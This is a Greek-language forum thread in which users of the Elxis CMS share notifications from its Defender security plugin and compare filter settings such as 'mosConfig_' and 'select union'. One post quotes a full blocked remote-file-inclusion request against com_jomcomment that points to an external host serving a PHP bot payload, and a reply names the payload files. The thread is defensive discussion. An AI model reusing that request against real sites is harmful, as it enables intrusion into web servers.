Elxis defender

[xenios]

Do not reply to this e-mail
This is a notification e-mail from Elxis Defender

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 62.48.192.42 (blocked)
DATE: 06-01-2008 06:55:03
Attack was logged
Site turned offline for 30 seconds

Note: Elxis Defender wont send you another notification for the next 5 minutes even if more attacks occured.

---------------------------------------------------
ELXIS DEFENDER by ELXIS Team
---------------------------------------------------



Μπαράβο σε όλους μας!!!

Στην ομάδα που έφτιαξε τον defender,
σε εμένα που το είχα ενεργό
και τέλος στον επίδοξο που το δοκίμασε...   

[babis1]

εγω εχω βαλει και το φιλτρο
mosConfig_
αλλα θελει προσοχη αν πας να κανεις edit στο template ...index...και css...πρεπει να απενεργοποιησης τον defender γιατι ακομα και απο το administrator panel σε θεωρει επιτιθεμενο και σε μπλοκαρει!!!!!!!!

[xenios]

Για σου μπαμπη!!!!

και εγώ το έχω αυτό το φίλτρο και είναι εκεί που δέχτηκα και την επίθεση....

[nikos65]

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 67.15.181.25 (blocked)
Requested URI: /index.php?option=com_jomcomment&task=trackback&id=&mosConfig_absolute_path=http://communityflow.com/forum/weblogs/templates/911/lang_english/_vti_bin/boo.do???
DATE: 30-01-2008 17:30:42
Attack was logged


Που χτυπήσανε? Και γιατί γράφει αυτό το link?

[ArXoS]

Νίκο, αν δώσεις το url που πήγαν να σου βάλουν, θα δεις τις php εντολές που πήγαν να τρέξουν
το αρχείο που πήγαν να τρέξουν είναι το
http://communityflow.com/forum/weblogs/templates/911/lang_english/_vti_bin/boo.do
που φορτώνει το txt αρχείο σε php
http://communityflow.com/forum/weblogs/templates/911/lang_english/_vti_bin/bot.txt


Η επίθεση δεν έγινε στο Elxis, αλλά στο jomcomment . Δεν ξέρω αν το έχεις, μπορεί να το δοκίμαζαν απλά (έχω πιάσει κι εγώ πολλούς που δοκιμάζουν components ή modules που ξέρουν οτι έχουν τρύπες και δοκιμάζουν joomla sites μπας και τα έχουν και τα τρυπήσουν). Αν το έχεις πάντως, καλό είναι να το πετάξεις από το Elxis σου. Έτσι και σε βρήκε ένας, θα ακολουθήσουν μαζικά και άλλοι

[nikos65]

Το περίεργο είναι ότι το συγκεκριμένο component δεν το έχω εκτός και εάν το μπέρδεψαν με το acocomment.
Φυσικά πήρα ένα backup.

Ευχαριστώ Arxos 

[babis1]

nikos σε ποιο φιλτρο χτυπησαν?

[nikos65]

Στο mosConfig.
Να είναι καλά το Elxis Defender 

[babis1]

εχεις και floodblocker?εχω και εγω mosconfig φιλτρο αλλα δεν ξερω ποσο αργο μου κανει το site γιατι εχω δυο φιλτρα ,εχω και το select union,και αν βαλω και floodblocker μερικες φορες πεφτει το site.

[nikos65]

Εμένα όλα πάνε μία χαρά και με τα δύο μαζί. Απλά έχω ανοίξει λίγο τα διαστήματα στο floodblocker . Κανένα πρόβλημα ειδικά το βασικό μου σίτε το παργαροομς που έχει αρκετές επισκέψεις.

[CREATIVE Options]

εχεις και floodblocker?εχω και εγω mosconfig φιλτρο αλλα δεν ξερω ποσο αργο μου κανει το site γιατι εχω δυο φιλτρα ,εχω και το select union,και αν βαλω και floodblocker μερικες φορες πεφτει το site.

  για κοίταξε λίγο τον server... εγώ τα έχω όλα του defender + μερικά ακόμα για πιο πονηρούς (Google it) και δεν έχω κανένα πρόβλημα!

[datahell]

Ο defender καθυστερεί λίγο το άνοιγμα των σελίδων και όσα περισσότερα φίλτρα βάλεις τόσο περισσότερο καθυστερεί. Η καθυστέρηση βέβαια είναι της τάξης των μιλι-δευτερολέπτων, μην φανταστείτε τίποτα τρελό. Θα έλεγα ότι μέχρι 10 φίλτρα είναι ΟΚ αλλά εξαρτάται από το site σας και το φόρτο και την ταχύτητα του server. Μπορείτε να βάλετε και 50 και να μην έχετε πρόβλημα. Εξαρτάται. Πειραματιστείτε. Ίσως 4-5 φίλτρα να είναι αρκετά.

Σημείωση: το elxis 2008.0 έχει βελτιωμένη έκδοση του elxis defender, πολύ πιο αποτελεσματική. Αυτή η έκδοση συμπεριλαμβάνεται και στην DEV έκδοση του Elxis που κυκλοφόρησε. Επίσης το 2008.0 έχει ενσωματωμένη δυνατότητα Benchmark οπότε μπορείτε να μετρήσετε την καθυστέρηση που προκαλεί ο defender στο φόρτωμα των σελίδων. Στην ενότητα "Elxis 2008 developers guide" του forum υπάρχουν οδηγίες χρήσης του Benchmark.

[ArXoS]

nikos65, ποιο φιλτρο έπιασε αυτό το log ? ποτέ δεν έχω δει τέτοια ανάλυση στα log του defender και μου κάνει εντύπωση, μπας και δε χρησιμοποιώ τα σωστά φίλτρα

ρε παιδιά, μιας και τα συζητάμε όλα, δε μου λέτε τι φίλτρα χρησιμοποιείτε ?
Εγώ χρησιμοποιώ από τον πίνακα των φίλτρων, αυτά που είναι με κόκκινα (υπέθεσα οτι είναι τα πιο συμαντικά για να σήμειώνονται με κόκκινα) .. 12 στον αριθμό αν θυμάμαι καλά

[nikos65]

Είναι το mosconfig και η ανάλυση είναι από το Elxis defender 2008. 

[ArXoS]

..... και η ανάλυση είναι από το Elxis defender 2008. 

Ε πες μου έτσι .. πολύ καλή ανάλυση .. ξέρεις ακριβώς τι έχουν κάνει